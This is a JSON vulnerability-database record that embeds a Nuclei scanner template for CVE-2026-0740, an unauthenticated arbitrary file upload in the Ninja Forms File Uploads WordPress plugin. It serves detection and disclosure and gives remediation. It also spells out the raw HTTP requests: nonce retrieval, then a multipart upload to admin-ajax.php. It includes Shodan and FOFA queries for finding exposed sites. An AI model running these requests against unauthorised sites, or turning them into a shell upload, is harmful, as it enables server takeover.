{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-0740/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-0740/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-0740/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-0740/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-0740/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-0740"},"sightings":{"href":"/api/v1/sightings/cve-2026-0740"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-0740.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-0740\n\ninfo:\n  name: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload\n  author: whattheslime\n  severity: critical\n  description: |\n    Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update Ninja Forms File Uploads plugin to version 3.3.27 or later.\n  reference:\n    - https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-0740\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-0740\n    epss-score: 0.62903\n    epss-percentile: 0.99201\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: ninjaforms\n    product: ninja_forms_file_uploads\n    cpe: cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:*\n    shodan-query: http.html:\"nfpluginsettings.js?ver=\"\n    fofa-query: body=\"nfpluginsettings.js?ver=\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,ninja-forms-uploads,file-upload,rce,vkev\n\nvariables:\n  field_id: \"{{rand_int(1000000000, 9999999999)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"nfpluginsettings.js\")'\n          - 'status_code == 200'\n          - 'compare_versions(version, \"<= 3.3.26\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - 'nfpluginsettings\\.js\\?ver=([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=nf_fu_get_new_nonce&field_id={{field_id}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"success\\\":true\")'\n          - 'contains(body, \"\\\"nonce\\\":\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"nonce\":\"([a-z0-9]+)\"'\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=nucleiboundary\n\n        --nucleiboundary\n        Content-Disposition: form-data; name=\"action\"\n\n        nf_fu_upload\n        --nucleiboundary\n        Content-Disposition: form-data; name=\"nonce\"\n\n        {{nonce}}\n        --nucleiboundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{field_id}}\n        --nucleiboundary\n        Content-Disposition: form-data; name=\"field_id\"\n\n        {{field_id}}\n        --nucleiboundary\n        Content-Disposition: form-data; name=\"files-{{field_id}}\"; filename=\"image.jpg\"\n        Content-Type: image/jpeg\n\n        {{randstr}}\n        --nucleiboundary\n        Content-Disposition: form-data; name=\"image_jpg\"\n\n        {{randstr}}.txt\n        --nucleiboundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"data\\\":{\\\"files\", \"tmp_name\\\":\", \"new_tmp_key\\\":\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a004730450220372e9bfe2e97ff9e257d9554a317793f9d8df5d640b1bb1afa8221ea19eb51eb022100a4ba5068a7efea47edd3834f0b038ac290ce5aa91755418f67230a605adfafa9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-0740"}